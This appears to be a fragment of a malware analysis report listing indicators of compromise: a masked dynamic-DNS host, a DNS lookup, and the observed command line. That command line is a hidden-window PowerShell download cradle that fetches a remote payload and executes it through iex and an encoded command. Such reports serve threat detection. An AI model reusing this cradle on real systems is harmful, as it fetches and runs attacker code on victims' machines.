Technical Information
- http://cd####.ddns.net:80/payload.txt
- 'cd###3.ddns.net':80
- DNS ASK cd###3.ddns.net
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -c "$code=(New-Object System.Net.Webclient).DownloadString('http://cd####.ddns.net:80/payload.txt'); iex 'powershell -E $code'"' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -E